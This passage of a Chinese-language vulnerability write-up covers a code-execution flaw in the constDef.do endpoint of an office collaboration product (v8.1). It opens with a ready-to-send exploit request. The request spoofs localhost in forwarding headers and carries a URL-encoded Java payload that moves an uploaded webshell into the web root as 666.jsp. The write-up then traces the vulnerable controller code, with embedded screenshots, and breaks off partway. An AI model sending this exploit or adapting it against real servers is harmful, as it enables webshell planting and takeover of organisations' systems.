User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Cookie: ts=1702625401543; JSESSIONID=0AD7C82F3D4D8EA1B6FA9E28132C4BD2; loginPageURL=; login_locale=zh_CN
|
|||
|
|
x-forwarded-for: 127.0.0.1
|
|||
|
|
x-originating-ip: 127.0.0.1
|
|||
|
|
x-remote-ip: 127.0.0.1
|
|||
|
|
x-remote-addr: 127.0.0.1
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 640
|
|||
|
|
|
|||
|
|
method=newConstDef&constKey=f5&constDefine=%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%66%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%2e%2e%5c%5c%62%61%73%65%5c%5c%75%70%6c%6f%61%64%5c%5c%32%30%32%33%5c%5c%31%32%5c%5c%31%35%5c%5c%38%31%31%35%34%33%37%35%35%33%33%34%30%32%30%35%32%32%33%22%29%3b%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%65%6e%64%46%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%77%65%62%61%70%70%73%5c%5c%52%4f%4f%54%5c%5c%36%36%36%2e%6a%73%70%22%29%3b%66%69%6c%65%2e%72%65%6e%61%6d%65%54%6f%28%65%6e%64%46%69%6c%65%29%3b%2f%2f%24%62%31%24&constType=3
|
|||
|
|
```</textarea>
|
|||
|
|
<div id=layer-photos-demo>
|
|||
|
|
<div id=md_view><div class=markdown-body><h3 blockindex=0>漏洞介绍</h3>
|
|||
|
|
<p blockindex=1>某远后台接口<code>constDef.do</code>存在代码执行漏洞,但是执行代码长度存在限制,可通过上传接口将webshell上传到目标服务器,再执行代码将webshell移动到可解析的目录下完成利用。</p>
|
|||
|
|
<h3 blockindex=2>漏洞版本</h3>
|
|||
|
|
<p blockindex=3>v8.1</p>
|
|||
|
|
<h3 blockindex=4>漏洞接口</h3>
|
|||
|
|
<pre blockindex=5><code class="hljs language-php">/constDef.<span class=hljs-keyword>do</span>?method=newConstDef
|
|||
|
|
</code></pre>
|
|||
|
|
<p blockindex=6>该接口对应 <code>com.seeyon.ctp.view.modules.operationcenter.constdef.controller.ConstDefController</code>的<code>newConstDef</code>方法。</p>
|
|||
|
|
<p blockindex=7>该方法接收了一些参数,创建了<code>ConstDef</code>对象,调用了<code>this.constDefManager.insertConstDef(def)</code>方法进行插入。</p>
|
|||
|
|
<p blockindex=8><img src="data:image/png;base64,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
|
|||
|
|
该方法中对<code>constKey</code>、<code>constDefine</code>参数进行验证,然后调用了<code>this.findByConstKey(def.getConstKey())</code></p>
|
|||
|
|
<p blockindex=9><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACBEAAAIrCAYAAACz0JNdAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3gcx3n48e/sXr9D7yAaARIgwd4lUSQlilSXJVHNlizJJZFsxyWJW2LH+VmOY8uxnMS2YluRm1psS5Zc1HtvLCJFsYIFAEGi917udn5/4NAPB5A8NPH9PI8eHXF7e7Nzs7uzM+/MqGUrVmmEiIA5uTkA7Nu3b2oTIoQQQgghhBBCCCGEEEIIIYQQ4pQYU50AIYQQQgghhBBCCCGEEEIIIYQQQkwPEkQghBBCCCGEEEIIIYQQQgghhBBCCECCCIQQQgghhBBCCCGEEEIIIYQQQggRJEEEQgghhBBCCCGEEEIIIYQQQgghhAAkiEAIIYQQQgghhBBCCCGEEEIIIYQQQRJEIIQQQgghhBBCCCGEEEIIIYQQQghAggiEEEIIIYQQQgghhBBCCCGEEEIIESRBBEIIIYQQQgghhBBCCCGEEEIIIYQAJIhACCGEEEIIIYQQQgghhBBCCCGEEEESRCCEEEIIIYQQQgghhBBCCCGEEEIIQIIIhBBCCCGEEEIIIYQQQgghhBBCCBEkQQRCCCGEEEIIIYQQQgghhBBCCCGEACSIQAghhBBCCCGEEEIIIYQQQgghhBBBEkQghBBCCCGEEEIIIYQQQgghhBBCCECCCIQQQgghhBBCCCGEEEIIIYQQQggRJEEEQgghhBBCCCGEEEIIIYQQQgghhAAkiEAIIYQQQgghhBBCCCGEEEIIIYQQQRJEMI0YSvGJpDhmOWxTnRQhhBBCCCGEEEIIIYQQQgghhBBnIAkimEauiI1itc/DZ1MSiDLlpxFCCCGEEEIIIYQQQgghhBBCCDG5pKd6mljj83BRbBQA8TYbt6ckYFNqilMlhBBCCCGEEEIIIYQQQgghhBDiTCLz5k8DuU4HNyXGhvzbfTUNU5QqIYQQQggxFbQ28WWtZPnqlSTV/InHXiuf6iQJIcagC7Zwy0obRbteZ+e+crq1BIQLIYQQZzqtDaLy1nHW2SvJzc4gLsqN3WZQ+8K3+cWzUscXQgghxPQmQQRTLM5mctsosw6s8Xmo6O7huabWKUiZEEIIIYSYbK6Mc9lwxRWsyI3DphT1rzw51UkSQoyHO5mspcvJWXoB59Xu5p0nHuaNPdUEZHY5IYQQ4oyktZu8y/+Bazbk4DakPiCEEEKImUeCCCJEmQpHjMJ0KUyHoqdD42+x8LfrUT/jNAw+m5JAtDn6qhIfiYumqifA++0dE5FsIQTgjjf53GKTAje0NAf43Xt+tnfIA95kOBPy3jc3i7tuzmJFgqLhWCU/vLeI5+s/XMcohDh9WjuYdd7tXHvpImJNFfybhb8nMMUpE0KMS083fsCpDJxJS1n/iXnM2/oAv3/0XZosue8LIYSY2RyzL+Gaay8kK96g/cRWnn/gQQ40yf0tHPfSW9hyXg5updDaorvuKKUnqmhp99N8TAaMCSGEEGL6kyCC0+RJN4iaY8OTbmKYIyvP3S0WbaUBmvb7CXQPBBQYSvGJpFgyHPaw++/b7q6KHk50+yOefiHOdForLlhgsjiq9/x1xtu4Oc9i+57RA4BEZJwJea+1gxuvy+PctN5jdM/J5BuXVvP8g01TnDIhxHSitYNZm/6Bj1+ch0sptO6k9oMXePONN9h3pBZkJLMQ09+e3/Dju7ax6KzNnHPOPGJMF8mrP80tLpP7H3yLJlneQAghxAyldTyrr7iKuSm9g6CcOedxyaYdHHj0wBSnbPrS2s3CNcvwBAMIGrbeza//uJt2qQ8IIYQQYgaRIIJTZI8ySFxjx5Niht3OEWXgWGgQU2Cj4YMeGvf3BgJcERvFEo97XN/VN2PBD8praAlYp512ISaathl882IbBUqhW/186yU/ZSfZAaJtJv90sUlhmM/pLj93Petnz2l2rgz/tKEU8OHpyJ7OJjrvVy2z8/kMA60tXnunm1/XTvYDu4EaNtmMaYw++4yIDJ2WxBfPjsIOdJZW8LMdpzabj7a7WLd+FluWxrMg3UWC18To8dNQ38oHB+v48wvlvFIto8QHO52819507v+vAlYMv6ZrTU9XDw3N3ZSV1fHiOxX86f02Wqa4AU5FRXPjFVlcsSCG2fF2vLZh57Zu4e5/2covqsOnU2tF0rrPc2NfAEFXGTse/l+e3VXROw36OO5x2pZI3lkXsGxBAelpCXjdTpS/g/aGCk4c2cWu117hcF336Rzuh45OXsX5KzMxgZ6yN3ntg6rxf9azkVvv+Cg5w34brS0C3e20tzRRX76Pgzve4P19J+ic6rLqm8vKzReyuCCXxFgfzmFlVesyXrnzDl6vm/pG7Xk33c31y5xo3cbOe7/EE0WTn6ZTzS+lNJ1VH7DtLx+wZ9cmrrzpWvLjTWIX38rN17Xzqz/somOKA4K0z+CaDIUN6Gq0+Evl+Otckajfi+lF7h0nT+4dA0JdC7VO5rwvf5cN6SeXdv/ue/ne/Vsjkm7R63TKamjGiDqpkufaMaQQG9+XR6XseE4CCIQQQggx85x0EIHhiGXW7Czi3QOd540l71HaOL6KkLbA5o0nKTEGn9eLw25iYuHv6aKjrZmm2hoa2vwwylpR2nKRPn8eye5xfl9jMbtLGse17Xi5Uw1S1jkxHeOv/Bl2RcJyB44Eg6Z3/FT1+Lm/pmHINufHeMl0OAB4rL6J1mEBA/E2c9KDCObk5pz0ZwoLC8e97b59+056/0JEklKaF/b6KVhiku9StDZb/OFwgJHd2yLSzoS8V6qThx4+wvKPZ7EiwaDhWCU/eqqeD9MxTkspidxycSpupWh6s/GUgghcmWnc+Zl8NiUPCxY0HaSkx5OSHs+mdRm89McP+PoLLVPeMTRtRCDvR1AKu8tBsstBcrKPFcsz+cTBY3z718W81jA1AV86IZkff72QC+Ii0HiacD6XXjKvd5RSoIadD/0XT+1rGffsA7a087jq1usoTHQMfcP0EZM6l5jUucxfcz4Hn7iHx14vxi9ltVfSYtacvwanUrRvOxSBxnVQysDm9BHt9BGdOIvsRRs5+/BzPP77P3OkaWoCgXXcWVz3+U8yP0Ya+scjUvnVUfoCD98b4KbPf4zZXpO4VTdxwa79PFE0xR2yXoOL5xg4laK1tOekggjEh4vcO06R3DvETBHhsqpULVsf/wtZ124iK86k/cR2nn9xf4QS++E1cOlspb1lKlMihBBCCHFqxh1EoC1wxmWQnZWIJ8S0/ePbh0nUrNlkJfuwD3kINXCYNhwuL9HxScRVF1N6ooVAyEACNaV9L64Eg7TzXKjwExCMKirbhmEo3nmtfcR7S7xuMoPP8DvbO6iTNXDFmSyg2VkSoHLEG4rCbIPUUQKNTkVHvcVdLw9uoJFGsslyJuR9a9Exbv/XY4P+8uE7xg8bHZPED744jwtig79VoJvi4maO1HTRZrOTlxfPwngb2NxsvGEpd3Vu5+/e7JzaRH/YtDXxzPZmetvaFKbDRkpKDEtzXHgNg+R5Ofz47w1u+/4htnVO7jmlteLCq/P7Awj8rS28vaeZqi5r2Dwq3ewdWd0bti8fiz/yEXKcvdOcVr30C57a2zzuAAIdtZqr//ZjzI/uTYsOtFJbVkpNXQNdtmiSs/OZFetC2RIpuPKLXNv17/x+W93JH7QYlW4rYe/uUnqvAArD7iY6aTaZmQk4DZPouZdww21OHvzx/3Gse7LLqsn8Sz/a3wkUaCvjyMFSmruGP2PUUy6XsIjnl1XzMn94OI8vfGI1XhXHkquv4r27/kB5QOoBYmrJvWPqnQn3Dq3rKd36AbXjiIMIHD/9YAwx8bqPPsn//ceTU52MGaSd7q6+125cHqB1CpMjhBBCCHEKxhVEoC07MRk5ZCR5sSuFtnpobQsQFeUa9xdpC1wpucxO9mIohbb8dDQ30NLejR8Tpyea6Gg3DsOGLzmXbH8RR6s6Qs5I0PcX3dlAZW0bYbvau9rGncaxmE5FynnOUw4g6OPNNIldaKdxT09kEjYJIj1
|
|||
|
|
该方法会以构建一个<code>ConstDef</code>对象,设置<code>constKey</code>,然后调用<code>this.constDefDao.findByExample(def)</code>,这个方法会以<code>constKey</code>查找一组<code>ConstDef</code>对象,再以<code>ConstDef</code>对象作为参数调用<code>this.updateConstValue(result)</code>。</p>
|
|||
|
|
<p blockindex=10><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=11>通过<code>this.constDefDao.findByExample(def)</code>找到<code>ConstDef</code>对象的情况下,会以该对象的<code>constKey</code>调用<code>ConstDefUtil.getConstDefValue(def.getConstKey())</code>方法。</p>
|
|||
|
|
<p blockindex=12><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACBMAAAGNCAYAAABJiKsOAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3Rbx5nw/++ggyDB3nsVRRWqWrKKJUu2I1e512zqpr7ZnGST3ZTNnt++W5Jt2U3ybupm105xXOIqx92yZEmWZFm9UI1F7EVib2AB5vcHwA6AlAUW2c/nHJ4D8F4M586duRe888yM2nrr9ZpRquvbAdDKiBDTIS8nC4CSkpLZzYgQQgghhBBCCCGEEEIIIYQQQgi/DLOdASGEEEIIIYQQQgghhBBCCCGEEELMLRJMIIQQQgghhBBCCCGEEEIIIYQQQogxJJhACCGEEEIIIYQQQgghhBBCCCGEEGOYAm1Q2j2T+RAfQVardbazIIQQVyVDpMQCCiGuTp52z2xnQQghhBBCCCGEEEIIMUXSGyGEEEIIIYQQQgghhBBCCCGEEEKIMSSYQAghhBBCCCGEEEIIIYQQQgghhBBjSDCBEEIIIYQQQgghhBBCCCGEEEIIIcaQYAIhhBBCCCGEEEIIIYQQQgghhBBCjCHBBEIIIYQQQgghhBBCCCGEEEIIIYQYQ4IJhBBCCCGEEEIIIYQQQgghhBBCCDGGBBMIIYQQQgghhBBCCCGEEEIIIYQQYgwJJhBCCCGEEEIIIYQQQgghhBBCCCHEGBJMIIQQQgghhBBCCCGEEEIIIYQQQogxJJhACCGEEEIIIYQQQgghhBBCCCGEEGNIMIEQQgghhBBCCCGEEEIIIYQQQgghxjDNdgbE1JnNZhwOx/B7l6sPl6t3FnMkhBBCCCGEEEIIIYQQQgghhBDiw0iCCeawhIREihYsIDk5hdS0NOx2+4R9+vpcVFdVceHCBU4cP05XV+cs5FQIIYQQQojQ09qAI20ZS1YsJfbin3hpb/1sZ0kIMQmdfwcPLjVRenwvJ87W06/VbGdpUlobiMhaw4pVy8jKSCEqPAyzSdG84/v873a57gghhBBCCCGE+OiSYII5RinF4uJiVqy4hpTU1En3t1pt5OUXkJdfwKbNmzl75iy73tlBU1PTDORWCCGEEEKI6WFNWc3aW25haVY0JqVo2f36bGdJCDEV9njSFy8hc/FG1l86wfuvvcD+00241dwMKtDaRtaWr3DnukxshrmZRyGEEEIIIYQQYrZIMMEcEhcXz1333EtSUtKEba2tLdTW1NLW1srAwABKKRwOBykpqaSkpqKUwmAwMr+oiHmFhex6Zyd7du9Caz0LRyLElbFGar6wAAps0NkJTx+HI33yYE+EhtQvIYSY27S2kLL+M2y9aQGRRuX7nQf3gHuWcyaEmJL+ftyAURmwxhez9uPzKDj0BM+9eJB2z9z7zmVb/DBb12diUwqtPfS3lFNde4lO1wCd1d2znT0hhBBCCCGEEGJWSTDBHJGTk8t9DzyIxWIZ/l13dzeHDx3kyOFDtLe3B/xsmMPB8uUrWLX6Wux2OwaDgY3XbyIuLo4Xnn9OAgrEVUVrzfWFsDDc+6AxNhoeytYcOTPLGRMfClK/hBBibtPaQsrGL3P/jbm+jr0+mk+9zXv79nKmogXm6MhmIcQop3/Pz35yiAUrN7NqVQFOo4345Z/kQYuRJ55+j445tOyB1lbmL1+C3RdI0HrwF/zuxVO45lAehRBCCCGEEEKI2STBBHNAaloaDzz0MCbT